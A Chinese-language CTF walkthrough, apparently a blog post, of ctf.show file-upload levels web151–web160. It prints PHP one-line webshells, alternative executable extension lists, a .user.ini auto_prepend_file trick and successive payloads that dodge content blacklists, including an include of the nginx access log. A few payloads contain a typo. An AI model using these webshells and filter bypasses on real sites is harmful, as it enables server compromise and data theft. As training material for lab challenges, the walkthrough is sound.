web151 经典前端绕过
web152 简单后端绕过
从 web153 开始,需使用 .user.ini
从 web154 开始,对文件内容进行黑名单过滤
每个关卡会累计前面关卡的限制
重点:
了解前后端验证区别
了解一句话木马
了解 php 配置文件 .user.ini (扩展了解 Apache 配置文件 .htaccess)
了解 php 代码执行黑名单绕过
web151
以本题做详细解题步骤,后续题只指出绕过方式
简单的前端校验,只针对后缀检查
1、制作 一句话
1)创建 1.txt
2)写入①或②,保存退出
①<?php @eval($_POST["a"]); ?> (可以使用蚁剑,也可以使用 post 传递参数,下列使用蚁剑方式)
②<?php system('tac flag.php')?> (若选择②,则不需要使用蚁剑,之间访问/upload/index.php)
3)将 1.txt 重命名为 1.png (图片格式后缀就行)
法一
修改前端代码
只允许 png 文件,双击,将 png 修改为 php
法二
1、利用 bp 上传 payload
1)开启 burp ,并上传1.png
2)找到 1.png 位置
3)将 1.png 重命名为 1.php
4)点击发送,获取上传文件地址
2、利用蚁剑获取 flag
1)打开蚁剑,右击添加数据,URL 为网址+文件上传地址
这里为:http://1c3ddf3e-5756-4edd-8305-fb00b73a6820.challenge.ctf.show/upload/1.php
连接密码为 $_POST[] 中的变量值
2)点击上层目录,发现 flag.php,点击查看
web152
要求:文件类型只能为图片类型(Content-Type 类型为图片格式)
法一:上传 1.png 抓包修改为 1.php
法二:先进行前端绕过(修改前端代码),抓包修改文件类型
web153
要求:文件后缀不能为 php
按 web152 上传文件
报错
\u6587\u4ef6\u7c7b\u578b\u4e0d\u5408\u89c4 Unicode编码 文件类型不合规
大写绕过 或 同解析后缀名绕过
同解析名后缀: PHP:.php .php2 .php3 .php4 .php5 .php6 .php7 .php空格 .phtml .pgif .shtml .htaccess .phar .inc ASP:.asp .aspx .config .ashx .asmx .aspq .axd .cshtm .cshtml .rem .soap .vbhtm .vbhtml .asa .cer .shtml JSP:.jsp .jspx .jsw .jsv .sjspf .wss .do .action
访问文件路径查看 http://553b50b5-efa1-49c6-83c6-14a1efdf6fb8.challenge.ctf.show/upload/1.php3
虽然能上传,但无法解析,因此需要换一种方法
无意中发现 upload 可以访问 http://553b50b5-efa1-49c6-83c6-14a1efdf6fb8.challenge.ctf.show/upload/
说明 upload 目录中含有 php 文件
考虑先上传 .user.ini 文件,在上传 1.png
.user.ini 文件内容
auto_prepend_file=1.png #自动包含 1.png
从 web153 开始,后续关卡步骤均为:1)先上传 .user.ini 2)再上传木马文件
1)上传 .user.png ,抓包修改为 .user.ini
2)上传 1.png
3) 访问 /upload/index.php
4)由于 /upload/ 目录下所有文件自动包含 1.png
a)采取蚁剑连接 /upload/index.php
b)以 post 方式传递数据 a=system('ls')
web154
要求:文件内容,不能有php
PHP标签绕过:
长标签:<?php ?>
短标签:<? ?>、<?= ?>、<% %>、<%= %>
其中 <? ?> 需要开启 short_open_tag=On ,<% %> 需要开启 asp_tags=On
1.png 内容更改为
法一 <?eval($_POST['a'])?> 法二 <?ststem('tac fl*')?>
web155
自带 .user.ini,但不影响,payload 与 web154 一致
web156
文件内容屏蔽:php、[
用 {} 替代 []
1.png 内容更改为
#法一 <?eval($_POST{'a'})?> #法二 <?ststem('tac ../fl*')?>
web157
文件内容屏蔽:php、[、{、;
由于我们 $_POST[] 只使用一个参数并且为数组格式,考虑使用 array_pop() 弹出最后一个单元
1.png 内容更改为
#法一 <?eval(array_pop($_POST))?> #法二 <?system('tac ../fl*')?> #法三,由web158的黑名单得来 <?include 'tac /var/log/nginx/access.log'?>
web158
文件内容屏蔽:php、[、{、;、log
1.png 内容更改为
#法一 <?eval(array_pop($_POST))?> #法二 <?system('tac ../fl*')?> #法三 <?include 'tac /var/l'.'og/nginx/access.l'.'og'?>
web159
文件内容屏蔽:php、[、{、;、log、(
屏蔽了 (),意味着屏蔽了函数,include 可以不使用 ()
1.png 内容更改为
<?include '/var/lo'.'g/nginx/access.l'.'og'?>
web160
文件内容屏蔽:php、[、{、;、log、(、空格
1.png 内容更改为
<?include'/var/lo'.'g/nginx/access.l'.'og'?>
标签:web,web151,上传,upload,文件,php,160,png,user From: https://www.cnblogs.com/IFS-/p/17249732.html